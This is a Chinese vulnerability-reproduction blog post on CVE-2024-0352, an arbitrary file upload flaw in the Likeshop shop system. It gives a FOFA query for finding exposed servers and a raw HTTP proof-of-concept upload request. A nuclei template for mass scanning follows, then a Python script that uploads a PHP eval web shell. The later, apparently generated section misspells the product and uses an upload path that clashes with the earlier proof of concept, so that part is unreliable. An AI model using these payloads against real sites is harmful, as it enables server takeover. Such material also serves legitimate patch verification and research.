漏洞复现--Likeshop任意文件上传(CVE-2024-0352)

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:漏洞描述

Likeshop是一个100%开源免费的B2B2C多商户商城系统,支持官方旗舰店,商家入驻,平台抽佣+商家独立结算,统一下单+订单拆分等功能。该产品存在任意文件上传,攻击者可通过此漏洞上传木马获取服务器权限。

二:漏洞影响版本

version<= 2.5.7.20210311

三:网络空间测绘查询

fofa
icon_hash="874152924"
image.png

四:漏洞复现

image.png
POC:

POST /api/file/formimage HTTP/2
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip, deflate

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="test.php"
Content-Type: application/x-php

This page has a vulnerability!
------WebKitFormBoundarygcflwtei--

image.png
image.png

批量检测

id: CVE-2024-0352

info:
  name: Likeshop < 2.5.7.20210311 - Arbitrary File Upload
  author: CookieHanHoan,babybash,samuelsamuelsamuel
  severity: high
  description: |
    A vulnerability classified as critical was found in Likeshop up to 2.5.7.20210311. This vulnerability affects the function FileServer::userFormImage of the file server/application/api/controller/File.php of the component HTTP POST Request Handler. The manipulation of the argument file with an unknown input leads to a unrestricted upload vulnerability. The CWE definition for the vulnerability is CWE-434
  impact: |
    The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. As an impact it is known to affect confidentiality, integrity, and availability.
  remediation: Update to the latest version
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0352
    - https://note.zhaoj.in/share/ciwYj7QXC4sZ
    - https://vuldb.com/?ctiid.250120
    - https://vuldb.com/?id.250120
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2024-0352
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 1
    vendor: likeshop
    shodan-query: http.favicon.hash:874152924
  tags: cve,cve2024,rce,file-upload,likeshop,instrusive,intrusive
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/file/formimage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36

        ------WebKitFormBoundarygcflwtei
        Content-Disposition: form-data; name="file";filename="{{filename}}.php"
        Content-Type: application/x-php

        {{randstr}}
        ------WebKitFormBoundarygcflwtei--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"name\":\"{{filename}}.php\"")'
          - 'contains_all(body, "code\":1", "base_url\":\"uploads\\/user")'
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - ".data.url"
# digest: 4a0a00473045022100deb88d0d5f3f0af25df24379957bd65e84c9ce39a4d8c4aa791388f67b61c25002207f6c80534d7839ef8754e96b5ea1c543908e9c77315afcb83a24e6022d227026:922c64590222798bb761d5b6d8e72950

image.png

### LIKESHOP 系统漏洞复现方法 #### 漏洞概述 LIKESHOP 是一个100%开源免费的B2B2C多商户商城系统,支持多种功能特性。然而,在某些版本中存在任意文件上传漏洞CVE-2024-0352),这使得攻击者能够利用此漏洞上传恶意文件并可能获得服务器控制权[^3]。 #### 影响范围 受影响的具体版本未完全公开说明,建议确认当前使用的LIKESOHP版本是否已修复该问题。通常情况下,较旧或未经及时更新的版本更容易受到此类漏洞的影响。 #### 安全检测条件 为了验证目标环境中是否存在这个特定的安全隐患,可以采用如下FOFA查询语句来定位潜在易受攻击的服务实例: ```plaintext icon_hash="874152924" && body="/pc/" ``` 上述表达式用于匹配具有指定图标哈希值以及页面包含`/pc/`路径特征的目标站点,这些可能是运行了有风险版本LIKEHSOP应用的地方[^2]。 #### 实际操作流程 对于研究目的下的漏洞重现实验,请遵循以下指导原则执行测试活动: 1. **准备环境** - 构建一个隔离且可控的实验室网络空间; - 部署待测版次的LIKESHOP服务端口; 2. **实施POC脚本** 利用专门设计用来证明概念可行性的程序代码尝试触发缺陷行为。这里提供了一个简化版Python POC样例供学习交流之用: ```python import requests url = "http://target.com/index.php/admin/formimage/upload" files = {'file': ('shell.php', '<?php @eval($_POST["cmd"]);?>')} data = { 'name': 'formimage', } response = requests.post(url, files=files, data=data) if response.status_code == 200 and b'success' in response.content.lower(): print("[+] 文件上传成功") else: print("[-] 文件上传失败") ``` 请注意替换其中URL地址为实际被测对象的位置信息,并确保仅限于合法授权范围内开展任何渗透性质的操作[^1]。 3. **清理痕迹** 测试完成后立即移除所有临时部署的内容物,恢复初始状态以保障后续正常使用不受干扰。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

芝士土包鼠

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值